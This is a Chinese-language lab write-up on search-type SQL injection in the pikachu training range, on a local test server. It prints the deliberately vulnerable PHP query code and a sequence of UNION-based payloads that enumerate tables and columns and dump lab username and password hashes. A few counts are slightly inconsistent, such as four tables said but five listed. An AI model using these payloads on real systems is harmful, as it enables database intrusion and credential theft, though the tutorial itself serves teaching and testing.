目錄
一、SQL注入
二、搜索型注入
三、源碼分析
1、滲透思路1
2、滲透思路2
四、滲透實戰
1、滲透準備
2、SQL注入探測
(1)輸入百分號單引號
(2)萬能注入語句
3、獲取回顯列orderby
4、獲取數據庫名database
5、獲取表名table
6、獲取列名column
7、獲取字段
本系列為通過《pikachu靶場通關筆記》的SQL注入關卡(共10關)滲透集合,通過對搜索型注入關卡源碼的代碼審計找到SQL安全風險的真實原因,講解搜索型注入的原理并進行滲透實踐,本文為SQL注入03之搜索型注入關卡的滲透部分。
一、SQL注入
SQL注入是指攻擊者通過在Web應用程序的輸入字段(如表單、URL參數、Cookie等)中插入惡意的SQL語句片段,當應用程序將這些輸入直接拼接到SQL查詢語句中并執行時,攻擊者插入的惡意SQL語句會被執行,從而實現對數據庫的非法操作。
二、搜索型注入
搜索型注入是SQL注入的一種特殊形式,主要出現在網站搜索功能中,具有獨特的攻擊特點和利用方式。搜索型注入的基本特征大概如下所示。
-
出現場景:搜索框、篩選條件、動態查詢等需要用戶輸入查詢條件的功能
-
SQL模式:通常使用
LIKE
、CONCAT
等字符串操作函數 -
輸入處理:用戶輸入往往被包裹在百分號(
%
)或引號中
三、源碼分析
打開pikachu靶場的SQL注入-字符型關卡對應的源碼sqli_search.php,很明顯查詢語句沒有對GET方法傳入的參數name進行過濾,存在SQL注入風險,具體如下所示。
這段 PHP 代碼的主要功能是處理一個通過 GET 方法提交的表單。當用戶在 URL 中傳遞 submit 參數且 name 參數不為空時,代碼會將用戶輸入的 name 作為條件,從 member 表中查詢對應的 id 和 email 信息。如果查詢到結果,則將用戶的 id 和 email 信息以 HTML 段落的形式顯示出來;如果沒有查詢到結果,則提示用戶輸入的 username 不存在。同時,代碼還會根據當前腳本文件名設置導航欄的激活狀態,并包含項目的頭部文件、配置文件、功能函數文件和 MySQL 操作文件。
<?php
// 調用 connect 函數建立與數據庫的連接,并將連接對象賦值給變量 $link
$link = connect();// 初始化兩個用于存儲 HTML 內容的變量,$html1 用于存儲查詢結果相關的 HTML,$html2 用于存儲提示信息相關的 HTML
$html1 = '';
$html2 = '';// 檢查是否通過 GET 方法提交了表單,并且表單中名為 'name' 的字段不為空
if (isset($_GET['submit']) && $_GET['name'] != null) {// 從 GET 請求中獲取名為 'name' 的字段的值,并將其賦值給變量 $name$name = $_GET['name'];// 構造一個 SQL 查詢語句,使用 LIKE 關鍵字進行模糊匹配,將用戶輸入的 $name 直接拼接到查詢語句中// 此查詢的目的是從 member 表中選取 username 包含用戶輸入值的記錄的 username、id 和 email 字段$query = "select username,id,email from member where username like '%$name%'";// 調用 execute 函數執行構造好的 SQL 查詢,$link 是數據庫連接對象$result = execute($link, $query);// 檢查查詢結果集中的行數是否大于等于 1// mysqli_num_rows 函數用于獲取結果集中的行數if (mysqli_num_rows($result) >= 1) {// 這里存在 XSS(跨站腳本攻擊)風險,直接將用戶輸入的 $_GET['name'] 輸出到 HTML 中$html2 .= "<p class='notice'>用戶名中含有{$_GET['name']}的結果如下:<br />";// 當結果集中有記錄時,使用 while 循環逐行獲取結果集的數據// mysqli_fetch_assoc 函數會以關聯數組的形式返回結果集中的一行數據while ($data = mysqli_fetch_assoc($result)) {// 從關聯數組 $data 中獲取 'username' 字段的值,并賦值給變量 $uname$uname = $data['username'];// 從關聯數組 $data 中獲取 'id' 字段的值,并賦值給變量 $id$id = $data['id'];// 從關聯數組 $data 中獲取 'email' 字段的值,并賦值給變量 $email$email = $data['email'];// 將用戶信息拼接成 HTML 字符串,添加到變量 $html1 中$html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}} else {// 如果結果集中沒有記錄,將提示信息拼接成 HTML 字符串,添加到變量 $html1 中$html1 .= "<p class='notice'>0o。..沒有搜索到你輸入的信息!</p>";}
}
?>
此代碼存在 SQL 注入安全風險的根本原因在于對用戶輸入的 $name 沒有進行任何過濾和驗證,就直接將其拼接到 SQL 查詢語句里。由于使用了 LIKE 關鍵字進行模糊匹配,且 $name 被包含在單引號和 % 之間,攻擊者可以利用這一特性構造惡意輸入。?
select username,id,email from member where username like '%$name%'
1、滲透思路1
攻擊者在 URL 中輸入??submit=搜索&name=xxx%' OR '1'='1 ,實際執行的 SQL 查詢如下所示。
select username,id,email from member where username like '%xxx%' OR '1'='1'
因為?'1'='1'
?恒為真,這個查詢會返回?member
?表中的所有記錄,攻擊者借此就能獲取到所有用戶的username,id
?和?email
?信息。?
2、滲透思路2
也可以URL 中輸入??submit=搜索&name=xxx%' OR 1=1#,其中#注釋掉了原本的單引號,實際執行的 SQL 查詢如下所示。
select username,id,email from member where username like '%xxx%' OR 1=1#'
四、滲透實戰
1、滲透準備
打開靶場SQL注入第三關搜索型注入,完整URL鏈接如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php
輸入已知賬戶“lili”,頁面顯示了用戶名、用戶id和郵箱信息,這與代碼審計的分析一致。根據此時URL地址可知GET方法傳入的參數為name。
http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2
2、SQL注入探測
(1)輸入百分號單引號
根據源碼我們知道name為字符型注入點,那么我們從頁面上能否發現有SQL注入呢?其實也是可疑的,在lili加上單引號,報錯信息說明有注入風險,如下所示。
lili%'
完整的報錯信息為“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。?
(2)萬能注入語句
接下來嘗試萬能注入語句,判斷閉合語句,在數字后加上單引號 or= 1=1#萬能注入語句,其中單引號是為了構造閉合,如下所示。
lili%' or 1=1#
3、獲取回顯列orderby
使用order by判斷其可回顯的字段,如下所示最終判斷其回顯列數為3個。
lili%' order by 5#
lili%' order by 3#
lili%' union select 1,2,3#
由于回顯位共3個,且通過orderby獲知僅有3列,故而可知這3列已經全部顯示出來了,即第一個回顯位、第二個回顯位和第三個回顯位都有效。
4、獲取數據庫名database
lili%' union select database(),user(),version()#
輸入lili' union select database(),user(),version()#后注入成功,顯示信息為3個,第一個獲取到數據庫名為pikachu,第二個獲取到用戶為root@localhost,第三個獲取到版本號為5.7.26,具體如下所示。?
接下來修改union前面的字符串,使前面內容為不存在的用戶名,使只輸出union后面的內容。?
-1%' union select database(),user(),version()#
輸入id=-1 union select database(),user(),version()#后注入成功,顯示信息為1個,可以直接獲取到數據庫名為pikachu,用戶名為root@localhost,版本號為5.7.26,具體如下所示。?
5、獲取表名table
對pikchu數據庫中表名進行爆破,注入命令如下所示。
id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
滲透后獲取到數據庫pikachu表有4個table,分別為httpinfo,member,message,users,xssblind,如下所示。
6、獲取列名column
對pikchu數據庫中users表中的列名進行爆破,注入命令如下所示。
-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#
滲透后獲取到數據庫users表有4個column列,分別為id,username,password,level,如下所示。?
7、獲取字段
對pikachu數據庫中users表的username、password列進行爆破,命令如下所示。
-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#
滲透后獲取到數據庫users表的username、password字段如下所示,滲透成功。??
admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03